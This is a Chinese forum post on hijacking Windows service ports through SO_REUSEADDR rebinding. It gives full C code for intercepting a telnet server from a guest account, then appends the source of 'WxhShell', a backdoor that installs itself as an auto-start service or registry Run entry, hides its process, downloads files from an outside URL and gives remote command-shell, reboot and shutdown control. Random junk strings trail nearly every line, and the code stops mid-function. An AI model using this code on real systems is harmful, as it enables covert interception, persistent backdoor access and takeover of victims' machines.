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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tg.[.v Ks  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <$qe2Ft Uq  
vYcea  
  saddr.sin_family = AF_INET; 0 z.oPV@  
9jBP|I{xI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sZxf.  
D!^&*Ia?2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K!=Y4"5%  
:G!i]1x<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w|lA%H7`J  
 _xjw:  
  这意味着什么?意味着可以进行如下的攻击: #R-l2OO^]  
`O/1aW1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DI"KH)XD  
.hPk}B/KV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^T2o9f  
r01Z 0>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $F2 A  
# 3UrGom  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ' d' Dlg  
"MM)AY*b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HQGn[7JW  
4AW-'W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }$ C;ccWL  
y=.`:EB9b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8~* |muN.e  
||yx?q6\h  
  #include !p #m?|Km  
  #include N)CM^$(T|  
  #include )d(F]uV:y  
  #include    lZ gX{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   = j)5kY`  
  int main() "}*5'e.*  
  { Mj!\EUn  
  WORD wVersionRequested; V?t56n Y}  
  DWORD ret; kZ5;Fe\*  
  WSADATA wsaData; g A+p^`;[  
  BOOL val; ERTjY%A  
  SOCKADDR_IN saddr; q8 &\;GK|  
  SOCKADDR_IN scaddr; }jdMo83  
  int err; E>_N|j)9  
  SOCKET s; !1m7^3l7j  
  SOCKET sc; fbg:rH\_  
  int caddsize; qzk!'J3*r<  
  HANDLE mt; >uLWfk+y1  
  DWORD tid;   zy'e|92aO  
  wVersionRequested = MAKEWORD( 2, 2 ); NdxPC~Z+  
  err = WSAStartup( wVersionRequested, &wsaData ); MZd?cS  
  if ( err != 0 ) { OV2/?  
  printf("error!WSAStartup failed!\n"); WQiIS0BJ *  
  return -1; dp}s]`x+  
  } 3QhQpPk) ,  
  saddr.sin_family = AF_INET; &TT vX% T  
   3-Bz5sj9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mswAao<y&x  
D]=V6l=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &v)/mc7D  
  saddr.sin_port = htons(23); L/ g8@G ;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0}mVP  
  { `(uN_zvH  
  printf("error!socket failed!\n"); ~e<^jhpJ  
  return -1; 6w `.'5  
  } Xl,707  
  val = TRUE; ()^tw5e'^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7I/a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JA09 o(  
  { .QW@rV:T  
  printf("error!setsockopt failed!\n"); U! $/'Xi9  
  return -1; #EA` |  
  } I ]ZksC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $Sgq7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uCHM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <:>[24LJ{  
SuA  @S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3!op'X!  
  { }SFmv},Ij  
  ret=GetLastError(); PDpuHHB  
  printf("error!bind failed!\n"); ,`!>.E.  
  return -1; #AH gY.  
  } (qw;-A W8  
  listen(s,2); .npD<*  
  while(1) SaOOD-u  
  { ;w;+<Rd  
  caddsize = sizeof(scaddr); emHaZhh  
  //接受连接请求 |JiN; O+K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jZk dTiI  
  if(sc!=INVALID_SOCKET) BPSi e0  
  { =j%ORD[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5Mp$u756  
  if(mt==NULL) iU|X/>k?  
  { m~tv{#Y  
  printf("Thread Creat Failed!\n"); !jR 1!i   
  break; %_(^BZd  
  } S;SI#Vg@  
  } [U,hb1Wi3  
  CloseHandle(mt); p#N2K{E  
  } f3*SIKi  
  closesocket(s); WM0-F@_  
  WSACleanup(); WeIi{<u8R  
  return 0; To;r#h  
  }   ~X-v@a  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]4Q~x  
  { &23{(]eO  
  SOCKET ss = (SOCKET)lpParam; ;?{OX  
  SOCKET sc; ] V,#>'  
  unsigned char buf[4096]; m'eM&1Ba  
  SOCKADDR_IN saddr; 7WHq'R{@  
  long num; ^V"08  
  DWORD val; =.IAd< C  
  DWORD ret; au+ a7~0~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s,j=Kym%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *>T@3G.{Rm  
  saddr.sin_family = AF_INET; \/!jGy*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }0 Fu  
  saddr.sin_port = htons(23); -yMD9b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 36d6KS 7  
  { >Ft:&N9L{  
  printf("error!socket failed!\n"); W"g@*B'|  
  return -1; HHZrovA#  
  }  s-S|#5  
  val = 100; +2m\Sv V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .c@,$z2M  
  { K>Tv M&  
  ret = GetLastError(); A[Vhy;xz  
  return -1; \; zix(N[5  
  } \7q>4[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y<)q;fI7  
  { 9U!#Y%*T  
  ret = GetLastError(); #rx@ 2zi  
  return -1; '.zr:l  
  } ^oZD44$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $u{ 8wF/)  
  { <a=k"'0  
  printf("error!socket connect failed!\n"); .*L_*}tno  
  closesocket(sc); !qJ|`o Y  
  closesocket(ss); r%II` i  
  return -1; sX]ru^F3  
  } &uxwz@RC0  
  while(1) ea!Znld]  
  { +WSM<S2 U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,8@U-7f,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ipJnNy;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ysQ8==`38i  
  num = recv(ss,buf,4096,0); !,N),xG}~  
  if(num>0) 1 =9 Kwd  
  send(sc,buf,num,0); G 4 C 7  
  else if(num==0) N,u~ZEI  
  break; B#(2,j7M  
  num = recv(sc,buf,4096,0); M2y"M,k4  
  if(num>0) 6Er%td)f  
  send(ss,buf,num,0); ' Y.s}Duj  
  else if(num==0) T\o!^|8  
  break; GA@Zfcg  
  } u6BLhyS  
  closesocket(ss); #zc{N"!  
  closesocket(sc); 0:3<33]x  
  return 0 ; HtGGcO'bqg  
  } +#R<emW  
r!J?Lc])8  
U/bQ(,3}  
========================================================== lBnG!!VrWa  
m' suAj0  
下边附上一个代码,,WXhSHELL QyX ?  
zq&,KZ  
========================================================== \i$WXW]|  
QH_I<Y:n  
#include "stdafx.h" /=2  
N>4uqFo  
#include <stdio.h> ckPI^0A!  
#include <string.h> -g]g  
#include <windows.h> QGV~Y+  
#include <winsock2.h> >E`p@ e+  
#include <winsvc.h> XK4idC  
#include <urlmon.h> y!?l;xMS  
ghd*EXrF H  
#pragma comment (lib, "Ws2_32.lib") , *A',  
#pragma comment (lib, "urlmon.lib") TGe{NUO  
K@z zseQ}=  
#define MAX_USER   100 // 最大客户端连接数 #D&]5"0cX  
#define BUF_SOCK   200 // sock buffer X#*|_(^  
#define KEY_BUFF   255 // 输入 buffer kM T73OI>_  
P7i G,i  
#define REBOOT     0   // 重启 gr")Jw7  
#define SHUTDOWN   1   // 关机 $}G03G@  
<H)I06];  
#define DEF_PORT   5000 // 监听端口 )m Uc !TP  
#c ndq[H  
#define REG_LEN     16   // 注册表键长度 U ExK|t  
#define SVC_LEN     80   // NT服务名长度 =@d IM  
&[hq !v  
// 从dll定义API 1&@s2ee4   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v"6ij k&(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P]@m0f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )TBG-<wt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FV&&  
`_6!nk q8  
// wxhshell配置信息 &1DU]|RoT&  
struct WSCFG { Q-!a;/  
  int ws_port;         // 监听端口 ,afh]#  
  char ws_passstr[REG_LEN]; // 口令 /f9jLY +  
  int ws_autoins;       // 安装标记, 1=yes 0=no DM*mOT  
  char ws_regname[REG_LEN]; // 注册表键名 I =t{ u;  
  char ws_svcname[REG_LEN]; // 服务名 O0{M3-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gv!* Qk4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =yf LqU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K>TdN+Z}=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hY.zwotH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (N U*PQY6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f.`noZN  
hN6j5.x%  
}; tVZj tGz=  
h,q%MZ==^s  
// default Wxhshell configuration E lt=/,v`!  
struct WSCFG wscfg={DEF_PORT, K YFumR  
    "xuhuanlingzhe", ?#^_yd|<  
    1, r[zxb0YA  
    "Wxhshell", cPxA R]'U  
    "Wxhshell", .,pGW8Js  
            "WxhShell Service", iNR6BP W  
    "Wrsky Windows CmdShell Service", A+T! DnVof  
    "Please Input Your Password: ", }Lx?RU+@=  
  1, t)LD-%F  
  "http://www.wrsky.com/wxhshell.exe", Memz>uux  
  "Wxhshell.exe" |2\6X's  
    }; _yyQ^M/  
 = uZ[  
// 消息定义模块 LXaT_3 ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gRuNC=sR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @8TD^ub  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D L_{q6ZK  
char *msg_ws_ext="\n\rExit."; s#ijpc>h  
char *msg_ws_end="\n\rQuit."; xT I&X9P  
char *msg_ws_boot="\n\rReboot..."; lkK+Fm  
char *msg_ws_poff="\n\rShutdown..."; ZD] ^Y}  
char *msg_ws_down="\n\rSave to "; T^8t<S@`  
?yF)tF+<  
char *msg_ws_err="\n\rErr!"; BhkJ >4#  
char *msg_ws_ok="\n\rOK!"; -cCujDM#T  
^c}Z$V  
char ExeFile[MAX_PATH]; .Y!*6I  
int nUser = 0; &dZ-}. af  
HANDLE handles[MAX_USER]; <k'=_mC_  
int OsIsNt; \~1M\gZP  
w{Wz^=';  
SERVICE_STATUS       serviceStatus; 'D8WNZ8Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]lzt "[  
>&tPIrz  
// 函数声明 l [?o du4  
int Install(void); |jV>  
int Uninstall(void); q4<3 O"c1  
int DownloadFile(char *sURL, SOCKET wsh); :3$WY<  
int Boot(int flag); c4oQ4  
void HideProc(void); v2:A 4Pd:+  
int GetOsVer(void); Mxn>WCPo  
int Wxhshell(SOCKET wsl); dJM)~Ay-  
void TalkWithClient(void *cs); W XDl\*n  
int CmdShell(SOCKET sock); 3(G}IWPq<  
int StartFromService(void); <<gk< _7`  
int StartWxhshell(LPSTR lpCmdLine); D(D:/L8T,  
pw*<tXH!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zME75;{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D)XF@z;  
W~E%Eq3  
// 数据结构和表定义 L8N`<a5T  
SERVICE_TABLE_ENTRY DispatchTable[] = Qx|m{1~-  
{ xz5Jli  
{wscfg.ws_svcname, NTServiceMain}, _Iy0-=G  
{NULL, NULL} D ::),,  
}; .t''(0_kC  
I.TdYSB  
// 自我安装 $Zp\^cIE+  
int Install(void) 5 G cdz  
{ #N_C| v/  
  char svExeFile[MAX_PATH]; x2 /\%!mt  
  HKEY key; 6U6,Wu  
  strcpy(svExeFile,ExeFile); .ml24SeC  
`q7O\  
// 如果是win9x系统,修改注册表设为自启动 ;@GlJ '$;  
if(!OsIsNt) { }W}(k2r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sk39[9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d-1D:Hs?  
  RegCloseKey(key); m8{8r>6*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X;W0r5T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }WIkNG4{Z  
  RegCloseKey(key); {Z8GG  
  return 0; 56<UxIa~  
    } -fFtHw:kHh  
  } D tZ?sG  
} ?s$d("~  
else { T(x@ gwc  
7>gjq'0  
// 如果是NT以上系统,安装为系统服务 uthW AT &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }8tF.QjR|  
if (schSCManager!=0) JK< []>O  
{ LEPLoF3,  
  SC_HANDLE schService = CreateService f EL 9J{  
  ( C @<T(`o  
  schSCManager, P*iC#w]m  
  wscfg.ws_svcname, IxuK<Oe:O  
  wscfg.ws_svcdisp, U$gR}8\e  
  SERVICE_ALL_ACCESS, 63l& ihj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k5aB|xo  
  SERVICE_AUTO_START, \h=*pAf  
  SERVICE_ERROR_NORMAL, RR[zvH} E  
  svExeFile, ph5{i2U0  
  NULL, ni{'V4A  
  NULL, ~|S0E:*.  
  NULL, !@Qk=Xkg  
  NULL, q&z'S  
  NULL i!}k5k*Z  
  ); V4jMx[   
  if (schService!=0) { DP9^hg  
  { [pTdeg;QE  
  CloseServiceHandle(schService); $]_SPu  
  CloseServiceHandle(schSCManager); 'u v=D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FhY#3-jH  
  strcat(svExeFile,wscfg.ws_svcname); }~zDcj_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r craf4%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -(?/95 Y  
  RegCloseKey(key); N8Rq7i3F?a  
  return 0; ^OQP;5 #K  
    } 8WQ#)  
  } &6OY ^6<  
  CloseServiceHandle(schSCManager); GalSqtbmDt  
} L>IP!.J]?  
} hT-^1 :N  
*:TwO=)  
return 1; BkB _?^Nv8  
} <rgK}&q  
C8|Ls(4Ck  
// 自我卸载 2{=D)aC$f  
int Uninstall(void) lgiKNZgB?  
{ ;6PU  
  HKEY key; G@ ot^n3  
 >I4BysR  
if(!OsIsNt) { lfM vNv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qX\85dPn@}  
  RegDeleteValue(key,wscfg.ws_regname); 0'*{BAWx  
  RegCloseKey(key); |MGT8C&^!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?1\I/ 'E9  
  RegDeleteValue(key,wscfg.ws_regname); TfZM0Wz  
  RegCloseKey(key); TM6wjHFm  
  return 0; R4;1LZ8XzS  
  } h?dSn:Y\?  
} 9~Sa7P  
} zNo,PERG  
else { " J9  
(v?@evQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )x\%*ewY  
if (schSCManager!=0) ."dT6uE  
{ [x 7Rq_^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <$?#P#A  
  if (schService!=0) ^jL)<y4`  
  { e}2?)B`[  
  if(DeleteService(schService)!=0) { 0);5cbV7i  
  CloseServiceHandle(schService); [F*yh9%\  
  CloseServiceHandle(schSCManager); PtuRXx  
  return 0; am/}V%^  
  } aoW2c1`?Z  
  CloseServiceHandle(schService); YkFLNCg4}  
  } Pn4.gabE  
  CloseServiceHandle(schSCManager); <FkaH8,7  
} NaoOgZ?  
} 7<70\ 6  
OcF_x/#  
return 1; W!ug^2"  
} 2|ee`"`  
^-?^iWQ G  
// 从指定url下载文件 $G0e1)D  
int DownloadFile(char *sURL, SOCKET wsh) th*!EFA^o  
{ .6[8$8c  
  HRESULT hr; R $<{"b  
char seps[]= "/"; ]+ub R;  
char *token; 4mW$+lzn  
char *file; g,YF$:e  
char myURL[MAX_PATH]; P2ySjgd  
char myFILE[MAX_PATH]; kS{k=V&hf_  
`>KNa"b%$  
strcpy(myURL,sURL); a m5;B`}q  
  token=strtok(myURL,seps); s'tXb=!HO  
  while(token!=NULL) D`41\#ti  
  { cyd_xB5K  
    file=token; fMf;  
  token=strtok(NULL,seps); arKf9`9  
  } .3+ 8Ip#z  
ok,O/|E}?  
GetCurrentDirectory(MAX_PATH,myFILE); s$f9?(,.Ay  
strcat(myFILE, "\\"); \s8h.xjU  
strcat(myFILE, file); o\tw)_ >  
  send(wsh,myFILE,strlen(myFILE),0); OFv-bb*YZ  
send(wsh,"...",3,0); K ..Pn 17t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DZESvIES  
  if(hr==S_OK) (F;*@Z*R  
return 0; )=glN<*?  
else ,?K5/3ss  
return 1; 7dB_q}<  
jl;N Fk%  
} #WDpiV7B  
a]V#mF |{  
// 系统电源模块 KIuj;|!q  
int Boot(int flag) 0ZL>-  
{ 0:`YY 8j1k  
  HANDLE hToken; `K$;K8!1  
  TOKEN_PRIVILEGES tkp; b+AxTe("  
g~|x^d^;|  
  if(OsIsNt) { iH>JR[A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .d#Hh&jj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8j]QnH0&  
    tkp.PrivilegeCount = 1; ga1b%5]v.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6>)KiigZ\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +N~{6*@uz,  
if(flag==REBOOT) { .aK=z)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G'HLnx}Yi  
  return 0; `"~X1;  
} /f. ,xs!  
else { kd p*6ynD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "$"<AKCwS  
  return 0; 2mx }bj8  
} 4Im}!q5;:<  
  } T sJ71  
  else { sdewz(xskj  
if(flag==REBOOT) { 4^6Oh#p0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u0uz~ s  
  return 0; D* HK[_5  
}  >qI:  
else { {qry2ZT5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FFN.9[Ly  
  return 0; !P6y_Frpe  
} k'[\r>T  
} <PO-S\N  
q<fj1t1w  
return 1; iIo>]\Pw  
} jd+HIR  
wz:w6q  
// win9x进程隐藏模块 {#{nU NW  
void HideProc(void) #)6 bfyi-  
{ )fT0FLl|1  
5'0kf7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P_@ty~u  
  if ( hKernel != NULL ) 0wETv  
  { ?H!X p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %N<>3c<8P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4T<dI6I0  
    FreeLibrary(hKernel); 5bWy=Xk B  
  } dp1t]  
 hP 1;$  
return; _..5G7%#%  
} JDMsco+j5  
Au?(_*/0  
// 获取操作系统版本 VqB9^qJ]!  
int GetOsVer(void) #+3I$ k  
{ Fg^zz*e  
  OSVERSIONINFO winfo; ,Hsu ;I~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vf_pEkx*wD  
  GetVersionEx(&winfo); Z~7}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gem+$TFq  
  return 1; [WunA,IuR  
  else -IS?8\ Q<  
  return 0; %gx>|  
} EY!P"u;  
),I7+rY  
// 客户端句柄模块 [6Nzz]yy  
int Wxhshell(SOCKET wsl) S4X['0rX!  
{ CQ%yki  
  SOCKET wsh; :20k6)  
  struct sockaddr_in client; #9hSo  
  DWORD myID; V=H}Ecd  
N_8L8ds5  
  while(nUser<MAX_USER) ]G2%VKkr  
{ cE]#23  
  int nSize=sizeof(client); 6I\mhw!pQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D61e  
  if(wsh==INVALID_SOCKET) return 1; kPZ1OSX  
15~+Ga4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CU(W0D  
if(handles[nUser]==0) -wV0Nv(V8  
  closesocket(wsh); H~"XlP  
else fYv{M;  
  nUser++; rO{"jJ  
  } j2|!h%{nI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O/R>&8R$  
|k9A*7I  
  return 0; V 5ihplAk  
} OL"So u4  
 7QkAr  
// 关闭 socket MtO p][i  
void CloseIt(SOCKET wsh) r\66]u[  
{ T)B1V,2j=  
closesocket(wsh); OG}D;Ew  
nUser--; P X<,/6gz  
ExitThread(0); xR;-qSl7Ms  
} :O}<Q  
0Z{(,GU  
// 客户端请求句柄 jNNl5.  
void TalkWithClient(void *cs)  goT:\2  
{ WH$ Ls('  
Pjff%r^  
  SOCKET wsh=(SOCKET)cs; xX.Ox  
  char pwd[SVC_LEN]; rzqUI*4%  
  char cmd[KEY_BUFF]; uNY]%[AnJ  
char chr[1]; %rRpUrnm  
int i,j; -Q8pWtt  
T;< >""T  
  while (nUser < MAX_USER) { uL4@e  
c$'UfW  
if(wscfg.ws_passstr) { vu.f B4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y!^RL,HIL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z@8amT;Y  
  //ZeroMemory(pwd,KEY_BUFF); zj;y`ENj  
      i=0; (Qq$ql27  
  while(i<SVC_LEN) { vP'R7r2Yx  
h OboM3_  
  // 设置超时 <s#}`R.#2  
  fd_set FdRead; ()>\D  
  struct timeval TimeOut; VuZmX1x)N  
  FD_ZERO(&FdRead); wL 5).`oq  
  FD_SET(wsh,&FdRead); MOmp{@  
  TimeOut.tv_sec=8; /HDX[R   
  TimeOut.tv_usec=0; ^j=_=Km]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZcO!cR&*'J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1^Zx-p3J  
73.o{V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >)pwmIn<  
  pwd=chr[0]; j4}aK2[<  
  if(chr[0]==0xd || chr[0]==0xa) { a4: PufS  
  pwd=0; Vq'&t<K#  
  break; y_QxJ~6t  
  } km<~H w>Z  
  i++; uR)@v^$FE  
    } x{ZVq 4  
[bT@Y:X@`  
  // 如果是非法用户,关闭 socket G:e}>'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I@L-%#@R1  
} iZyk2kc  
,.}PZL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); puqH%m+u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;LrKXp  
*,- YWx4  
while(1) { Iwn@%?7  
8w*fg6,=  
  ZeroMemory(cmd,KEY_BUFF); Yu1xJgl  
@e0 Q+t  
      // 自动支持客户端 telnet标准   s_*eX N  
  j=0; ?<LG(WY  
  while(j<KEY_BUFF) { x)* /3[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !7 ^He3  
  cmd[j]=chr[0]; Xs`:XATb/  
  if(chr[0]==0xa || chr[0]==0xd) { y=j[v},4  
  cmd[j]=0; \A~  '&  
  break; X)&Z{ V>  
  } <?J7Z|  
  j++; u('OHPqq  
    } Sl_zO?/PF  
F'~/  
  // 下载文件 p.}[!!m P  
  if(strstr(cmd,"http://")) { Q)}\4&4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S2s-TpjB<  
  if(DownloadFile(cmd,wsh)) slmxit  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UQdQtj1'  
  else %8{_;-f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8Px` v1L  
  } &sNID4FR  
  else { qlxW@|  
$tKATL*  
    switch(cmd[0]) { 1*jL2P]D  
  }n 7e_qy4  
  // 帮助 RQ'c~D)X  
  case '?': { 7w$R-Y/E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1c4%g-]7  
    break; D vKM>P%|  
  } Q+Fw =Xw  
  // 安装 +UsR  
  case 'i': { _NZHrN  
    if(Install()) hpyre B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \O?B9_  
    else Jqj6L993e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $"(YE #]|  
    break; H44&u](8{  
    } D6oby*_w  
  // 卸载 yfW^wyDd2o  
  case 'r': { j)DZmGg&t  
    if(Uninstall()) ~.lH)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Xv/S_yW  
    else F)5Aq H/p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S}f<@-16P  
    break; |*NrS<"  
    } O*v+<|0!l  
  // 显示 wxhshell 所在路径 xwxjj  
  case 'p': { QX=;,tr  
    char svExeFile[MAX_PATH]; sN}@b8o@  
    strcpy(svExeFile,"\n\r"); 1Qu,]i`  
      strcat(svExeFile,ExeFile); c):*R ]=  
        send(wsh,svExeFile,strlen(svExeFile),0); 90ag!   
    break; .rm7Sd4K  
    } FxX3Pq8h  
  // 重启 F.5b|&@  
  case 'b': { r3_gPK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &RrQ()<as  
    if(Boot(REBOOT)) Av>j+O ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d@4!^vD;  
    else {  BZc-  
    closesocket(wsh); ;_a oM&  
    ExitThread(0); #/dde9y  
    } 2H+DT-hK  
    break; 8#u_+;,p  
    } f{c[_OR  
  // 关机 15 11<,  
  case 'd': { _5w?v~65  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AJd.K'=8  
    if(Boot(SHUTDOWN)) U(=9&c@]  
